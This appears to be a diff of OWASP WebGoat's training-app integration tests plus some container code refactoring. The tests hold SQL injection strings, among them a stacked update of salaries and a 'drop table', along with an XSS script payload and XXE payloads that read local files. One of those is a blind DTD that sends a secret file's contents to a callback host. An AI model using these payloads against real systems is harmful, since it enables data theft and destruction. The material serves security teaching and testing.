-    public static final String sql_11_b = "3SL99A'  or '1'='1";
+  public static final String sql_11_a = "Smith' or '1' = '1";
+  public static final String sql_11_b = "3SL99A'  or '1'='1";
 
-    public static final String sql_12_a = "Smith";
-    public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+  public static final String sql_12_a = "Smith";
+  public static final String sql_12_b =
+      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
 
-    public static final String sql_13 = "%update% '; drop table access_log ; --'";
+  public static final String sql_13 = "%update% '; drop table access_log ; --'";
 
-    @Test
-    public void runTests() {
-        startLesson("SqlInjection");
+  @Test
+  public void runTests() {
+    startLesson("SqlInjection");
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("query", sql_2);
-        checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("query", sql_2);
+    checkAssignment(url("SqlInjection/attack2"), params, true);
 
-        params.clear();
-        params.put("query", sql_3);
-        checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
+    params.clear();
+    params.put("query", sql_3);
+    checkAssignment(url("SqlInjection/attack3"), params, true);
 
-        params.clear();
-        params.put("query", sql_4_add);
-        checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
+    params.clear();
+    params.put("query", sql_4_add);
+    checkAssignment(url("SqlInjection/attack4"), params, true);
 
-        params.clear();
-        params.put("query", sql_5);
-        checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
+    params.clear();
+    params.put("query", sql_5);
+    checkAssignment(url("SqlInjection/attack5"), params, true);
 
-        params.clear();
-        params.put("operator", sql_9_operator);
-        params.put("account", sql_9_account);
-        params.put("injection", sql_9_injection);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
+    params.clear();
+    params.put("operator", sql_9_operator);
+    params.put("account", sql_9_account);
+    params.put("injection", sql_9_injection);
+    checkAssignment(url("SqlInjection/assignment5a"), params, true);
 
-        params.clear();
-        params.put("login_count", sql_10_login_count);
-        params.put("userid", sql_10_userid);
-        checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
+    params.clear();
+    params.put("login_count", sql_10_login_count);
+    params.put("userid", sql_10_userid);
+    checkAssignment(url("SqlInjection/assignment5b"), params, true);
 
-        params.clear();
-        params.put("name", sql_11_a);
-        params.put("auth_tan", sql_11_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
+    params.clear();
+    params.put("name", sql_11_a);
+    params.put("auth_tan", sql_11_b);
+    checkAssignment(url("SqlInjection/attack8"), params, true);
 
-        params.clear();
-        params.put("name", sql_12_a);
-        params.put("auth_tan", sql_12_b);
-        checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
+    params.clear();
+    params.put("name", sql_12_a);
+    params.put("auth_tan", sql_12_b);
+    checkAssignment(url("SqlInjection/attack9"), params, true);
 
-        params.clear();
-        params.put("action_string", sql_13);
-        checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
+    params.clear();
+    params.put("action_string", sql_13);
+    checkAssignment(url("SqlInjection/attack10"), params, true);
 
-        checkResults("/SqlInjection/");
-
-    }
+    checkResults("SqlInjection");
+  }
 }

src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java

@@ -1,70 +1,85 @@
 package org.owasp.webgoat;
 
-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.jupiter.api.Test;
-
 import static org.hamcrest.CoreMatchers.containsString;
 
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
 public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
 
-    @Test
-    public void runTests() {
-        startLesson("SqlInjectionMitigations");
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionMitigations");
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("field1", "getConnection");
-        params.put("field2", "PreparedStatement prep");
-        params.put("field3", "prepareStatement");
-        params.put("field4", "?");
-        params.put("field5", "?");
-        params.put("field6", "prep.setString(1,\"\")");
-        params.put("field7", "prep.setString(2,\\\"\\\")");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("field1", "getConnection");
+    params.put("field2", "PreparedStatement prep");
+    params.put("field3", "prepareStatement");
+    params.put("field4", "?");
+    params.put("field5", "?");
+    params.put("field6", "prep.setString(1,\"\")");
+    params.put("field7", "prep.setString(2,\\\"\\\")");
+    checkAssignment(url("SqlInjectionMitigations/attack10a"), params, true);
 
-        params.put("editor", "try {\r\n" +
-                "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
-                "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
-                "    prep.setString(1,\"me\");\r\n" +
-                "    prep.execute();\r\n" +
-                "    System.out.println(conn);   //should output 'null'\r\n" +
-                "} catch (Exception e) {\r\n" +
-                "    System.out.println(\"Oops. Something went wrong!\");\r\n" +
-                "}");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
+    params.put(
+        "editor",
+        "try {\r\n"
+            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+            + " = ?\");\r\n"
+            + "    prep.setString(1,\"me\");\r\n"
+            + "    prep.execute();\r\n"
+            + "    System.out.println(conn);   //should output 'null'\r\n"
+            + "} catch (Exception e) {\r\n"
+            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
+            + "}");
+    checkAssignment(url("SqlInjectionMitigations/attack10b"), params, true);
 
-        params.clear();
-        params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidation/attack"), params, true);
 
-        params.clear();
-        params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
-        checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation_on_keywords",
+        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+    checkAssignment(url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
 
-        RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
-                .then()
-                .statusCode(200);
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(
+            url(
+                "SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+                    + " else id end)"))
+        .then()
+        .statusCode(200);
 
-        RestAssured.given()
-                .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-                .contentType(ContentType.JSON)
-                .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
-                .then()
-                .statusCode(500)
-                .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(url("SqlInjectionMitigations/servers?column=unknown"))
+        .then()
+        .statusCode(500)
+        .body(
+            "trace",
+            containsString(
+                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
+                    + " 'out of order' order by"));
 
-        params.clear();
-        params.put("ip", "104.130.219.202");
-        checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
+    params.clear();
+    params.put("ip", "104.130.219.202");
+    checkAssignment(url("SqlInjectionMitigations/attack12a"), params, true);
 
-        checkResults();
-    }
+    checkResults("SqlInjectionMitigations");
+  }
 }

src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java

@@ -2,71 +2,76 @@ package org.owasp.webgoat;
 
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
-import java.io.IOException;
+import io.restassured.RestAssured;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
-import io.restassured.RestAssured;
-
 public class WebWolfIntegrationTest extends IntegrationTest {
-    
-    @Test
-    public void runTests() throws IOException {
-        startLesson("WebWolfIntroduction");
-        
-        //Assignment 3
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("email", this.getUser()+"@webgoat.org");
-        checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
-        
-        String responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/mail"))
-                .then()
-                .extract().response().getBody().asString();
-        
-        String uniqueCode = responseBody.replace("%20", " ");
-        uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
-        params.clear();
-        params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
-        
-        //Assignment 4
-        RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())   
-                        .queryParams(params)
-                        .get(url("/WebGoat/WebWolf/landing/password-reset"))                        
-                        .then()
-                        .statusCode(200);
+
+  @Test
+  public void runTests() {
+    startLesson("WebWolfIntroduction");
+
+    // Assignment 3
+    Map<String, Object> params = new HashMap<>();
+    params.put("email", this.getUser() + "@webgoat.org");
+    checkAssignment(url("WebWolf/mail/send"), params, false);
+
+    String responseBody =
         RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("mail").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    String uniqueCode = responseBody.replace("%20", " ");
+    uniqueCode =
+        uniqueCode.substring(
+            21 + uniqueCode.lastIndexOf("your unique code is: "),
+            uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+    checkAssignment(url("WebWolf/mail"), params, true);
+
+    // Assignment 4
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .queryParams(params)
+        .get(url("WebWolf/landing/password-reset"))
+        .then()
+        .statusCode(200);
+    RestAssured.given()
         .when()
         .relaxedHTTPSValidation()
         .cookie("WEBWOLFSESSION", getWebWolfCookie())
         .queryParams(params)
-        .get(webWolfUrl("/landing"))                        
+        .get(new WebWolfUrlBuilder().path("landing").build())
         .then()
         .statusCode(200);
-        responseBody = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        assertTrue(responseBody.contains(uniqueCode));
-        params.clear();
-        params.put("uniqueCode", uniqueCode);
-        checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
-        
-        checkResults("/WebWolf");
-        
-    }
-    
+    responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("requests").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    assertTrue(responseBody.contains(uniqueCode));
+    params.clear();
+    params.put("uniqueCode", uniqueCode);
+    checkAssignment(url("WebWolf/landing"), params, true);
+
+    checkResults("WebWolfIntroduction");
+  }
 }

src/it/java/org/owasp/webgoat/XSSIntegrationTest.java

@@ -1,68 +1,116 @@
 package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
-
 import java.util.HashMap;
 import java.util.Map;
-
 import org.junit.jupiter.api.Test;
 
 public class XSSIntegrationTest extends IntegrationTest {
 
-    
-    @Test
-    public void crossSiteScriptingAssignments() {
-        startLesson("CrossSiteScripting");
+  @Test
+  public void crossSiteScriptingAssignments() {
+    startLesson("CrossSiteScripting");
 
-        Map<String, Object> params = new HashMap<>();
-        params.clear();
-        params.put("checkboxAttack1", "value");
-        checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("checkboxAttack1", "value");
+    checkAssignment(url("CrossSiteScripting/attack1"), params, true);
 
-        params.clear();
-        params.put("QTY1", "1");
-        params.put("QTY2", "1");
-        params.put("QTY3", "1");
-        params.put("QTY4", "1");
-        params.put("field1", "<script>alert('XSS+Test')</script>");
-        params.put("field2", "111");
-        checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
+    params.clear();
+    params.put("QTY1", "1");
+    params.put("QTY2", "1");
+    params.put("QTY3", "1");
+    params.put("QTY4", "1");
+    params.put("field1", "<script>alert('XSS+Test')</script>");
+    params.put("field2", "111");
+    checkAssignmentWithGet(url("CrossSiteScripting/attack5a"), params, true);
 
-        params.clear();
-        params.put("DOMTestRoute", "start.mvc#test");
-        checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
-        
-        params.clear();
-        params.put("param1", "42");
-        params.put("param2", "24");
+    params.clear();
+    params.put("DOMTestRoute", "start.mvc#test");
+    checkAssignment(url("CrossSiteScripting/attack6a"), params, true);
 
-        String result =
-                RestAssured.given()
-                        .when()
-                        .relaxedHTTPSValidation()
-                        .cookie("JSESSIONID", getWebGoatCookie())
-                        .header("webgoat-requested-by", "dom-xss-vuln")
-                        .header("X-Requested-With", "XMLHttpRequest")
-                        .formParams(params)
-                        .post(url("/CrossSiteScripting/phone-home-xss"))
-                        .then()
-                        .statusCode(200)
-                        .extract().path("output");
-        String secretNumber = result.substring("phoneHome Response is ".length());
-       
-        params.clear();
-        params.put("successMessage", secretNumber);
-        checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
-        
-        params.clear();
-        params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
-        params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
-        params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
-        params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
-        params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
-        checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
+    params.clear();
+    params.put("param1", "42");
+    params.put("param2", "24");
 
-        checkResults("/CrossSiteScripting/");
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(url("CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
 
-    }
+    params.clear();
+    params.put("successMessage", secretNumber);
+    checkAssignment(url("CrossSiteScripting/dom-follow-up"), params, true);
+
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+            + " the browser does not know that the script is malicious.");
+    params.put(
+        "question_1_solution",
+        "Solution 3: The data is included in dynamic content that is sent to a web user without"
+            + " being validated for malicious content.");
+    params.put(
+        "question_2_solution",
+        "Solution 1: The script is permanently stored on the server and the victim gets the"
+            + " malicious script when requesting information from the server.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: They reflect the injected script off the web server. That occurs when input"
+            + " sent to the web server is part of the request.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+            + " the browser executes.");
+    checkAssignment(url("CrossSiteScripting/quiz"), params, true);
+
+    params.clear();
+    params.put(
+        "editor",
+        "<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+            + "<html>"
+            + "<head>"
+            + "<title>Using GET and POST Method to Read Form Data</title>"
+            + "</head>"
+            + "<body>"
+            + "<h1>Using POST Method to Read Form Data</h1>"
+            + "<table>"
+            + "<tbody>"
+            + "<tr>"
+            + "<td><b>First Name:</b></td>"
+            + "<td>${e:forHtml(param.first_name)}</td>"
+            + "</tr>"
+            + "<tr>"
+            + "<td><b>Last Name:</b></td>"
+            + "<td>${e:forHtml(param.last_name)}</td>"
+            + "</tr>"
+            + "</tbody>"
+            + "</table>"
+            + "</body>"
+            + "</html>");
+    checkAssignment(url("CrossSiteScripting/attack3"), params, true);
+
+    params.clear();
+    params.put(
+        "editor2",
+        "Policy.getInstance(\"antisamy-slashdot.xml\");"
+            + "Sammy s = new AntiSamy();"
+            + "s.scan(newComment,\"\");"
+            + "CleanResults();"
+            + "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
+    checkAssignment(url("CrossSiteScripting/attack4"), params, true);
+
+    checkResults("CrossSiteScripting");
+  }
 }

src/it/java/org/owasp/webgoat/XXEIntegrationTest.java

@@ -2,98 +2,116 @@ package org.owasp.webgoat;
 
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
-import org.junit.jupiter.api.Test;
-
 import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.nio.file.Paths;
+import org.junit.jupiter.api.Test;
 
 public class XXEIntegrationTest extends IntegrationTest {
 
-    private static final String xxe3 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String xxe4 = """
-            <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
-    private static final String dtd7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
-    private static final String xxe7 = """
-            <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
+  private static final String xxe3 =
+      """
+      <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+      """;
+  private static final String xxe4 =
+      """
+     <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
+     """;
+  private static final String dtd7 =
+      """
+      <?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
+      """;
+  private static final String xxe7 =
+      """
+      <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
+      """;
 
-    private String webGoatHomeDirectory;
-    private String webWolfFileServerLocation;
+  private String webGoatHomeDirectory;
 
-    /*
-     * This test is to verify that all is secure when XXE security patch is applied.
-     */
-    @Test
-    public void xxeSecure() throws IOException {
-        startLesson("XXE");
-        webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
+  // TODO fix me
+  //  /*
+  //   * This test is to verify that all is secure when XXE security patch is applied.
+  //   */
+  //  @Test
+  //  public void xxeSecure() throws IOException {
+  //    startLesson("XXE");
+  //    webGoatHomeDirectory = webGoatServerDirectory();
+  //    RestAssured.given()
+  //        .when()
+  //        .relaxedHTTPSValidation()
+  //        .cookie("JSESSIONID", getWebGoatCookie())
+  //        .get(url("service/enable-security.mvc"))
+  //        .then()
+  //        .statusCode(200);
+  //    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
+  //    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
+  //    checkAssignment(
+  //        url("xxe/blind"),
+  //        ContentType.XML,
+  //        "<comment><text>" + getSecret() + "</text></comment>",
+  //        false);
+  //  }
+
+  /**
+   * This performs the steps of the exercise before the secret can be committed in the final step.
+   *
+   * @return
+   */
+  private String getSecret() {
+    String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
+    String webWolfCallback = new WebWolfUrlBuilder().path("landing").attackMode().build();
+    String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
+
+    // upload DTD
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "blind.dtd", dtd7String.getBytes())
+        .post(new WebWolfUrlBuilder().path("fileupload").build())
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    // upload attack
+    String xxe7String =
+        xxe7.replace("WEBWOLFURL", new WebWolfUrlBuilder().attackMode().path("files").build())
+            .replace("USERNAME", this.getUser());
+    checkAssignment(url("xxe/blind"), ContentType.XML, xxe7String, false);
+
+    // read results from WebWolf
+    String result =
         RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("service/enable-security.mvc"))
-                .then()
-                .statusCode(200);
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(new WebWolfUrlBuilder().path("requests").build())
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
+      result =
+          result.substring(
+              result.lastIndexOf("WebGoat 8.0 rocks... ("),
+              result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
     }
+    return result;
+  }
 
-    /**
-     * This performs the steps of the exercise before the secret can be committed in the final step.
-     *
-     * @return
-     * @throws IOException
-     */
-    private String getSecret() throws IOException {
-        //remove any left over DTD
-        Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
-        if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
-            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
-        }
-        String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
-        String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
-
-        //upload DTD
-        RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .multiPart("file", "blind.dtd", dtd7String.getBytes())
-                .post(webWolfUrl("/fileupload"))
-                .then()
-                .extract().response().getBody().asString();
-        //upload attack
-        String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
-
-        //read results from WebWolf
-        String result = RestAssured.given()
-                .when()
-                .relaxedHTTPSValidation()
-                .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/WebWolf/requests"))
-                .then()
-                .extract().response().getBody().asString();
-        result = result.replace("%20", " ");
-        if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
-            result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
-        }
-        return result;
-    }
-
-    @Test
-    public void runTests() throws IOException {
-        startLesson("XXE", true);
-        webGoatHomeDirectory = webGoatServerDirectory();
-        webWolfFileServerLocation = getWebWolfFileServerLocation();
-        checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
-        checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
-        checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
-        checkResults("xxe/");
-    }
+  @Test
+  public void runTests() throws IOException {
+    startLesson("XXE", true);
+    webGoatHomeDirectory = webGoatServerDirectory();
+    checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, true);
+    checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, true);
+    checkAssignment(
+        url("xxe/blind"),
+        ContentType.XML,
+        "<comment><text>" + getSecret() + "</text></comment>",
+        true);
+    checkResults("XXE");
+  }
 }

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -27,10 +27,10 @@
  */
 package org.owasp.webgoat.container;
 
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
 import java.io.IOException;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
 

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -32,22 +32,23 @@ package org.owasp.webgoat.container;
 
 import static org.asciidoctor.Asciidoctor.Factory.create;
 
-import io.undertow.util.Headers;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.StringWriter;
-import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
+import org.asciidoctor.Attributes;
+import org.asciidoctor.Options;
 import org.asciidoctor.extension.JavaExtensionRegistry;
 import org.owasp.webgoat.container.asciidoc.*;
 import org.owasp.webgoat.container.i18n.Language;
 import org.springframework.core.io.ResourceLoader;
+import org.springframework.http.HttpHeaders;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
@@ -60,7 +61,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
  * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
  *
  * <p><code>
- * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
  * </code>
  */
 @Slf4j
@@ -135,17 +136,17 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
     return computedResourceName;
   }
 
-  private Map<String, Object> createAttributes() {
-    Map<String, Object> attributes = new HashMap<>();
-    attributes.put("source-highlighter", "coderay");
-    attributes.put("backend", "xhtml");
-    attributes.put("lang", determineLanguage());
-    attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
+  private Options createAttributes() {
 
-    Map<String, Object> options = new HashMap<>();
-    options.put("attributes", attributes);
-
-    return options;
+    return Options.builder()
+        .attributes(
+            Attributes.builder()
+                .attribute("source-highlighter", "coderay")
+                .attribute("backend", "xhtml")
+                .attribute("lang", determineLanguage())
+                .attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
+                .build())
+        .build();
   }
 
   private String determineLanguage() {
@@ -159,7 +160,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
       log.debug("browser locale {}", browserLocale);
       return browserLocale.getLanguage();
     } else {
-      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
+      String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
       if (null != langHeader) {
         log.debug("browser locale {}", langHeader);
         return langHeader.substring(0, 2);

src/main/java/org/owasp/webgoat/container/CurrentUser.java

@@ -0,0 +1,14 @@
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal
+public @interface CurrentUser {}

src/main/java/org/owasp/webgoat/container/CurrentUsername.java

@@ -0,0 +1,14 @@
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal(expression = "#this.getUsername()")
+public @interface CurrentUsername {}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

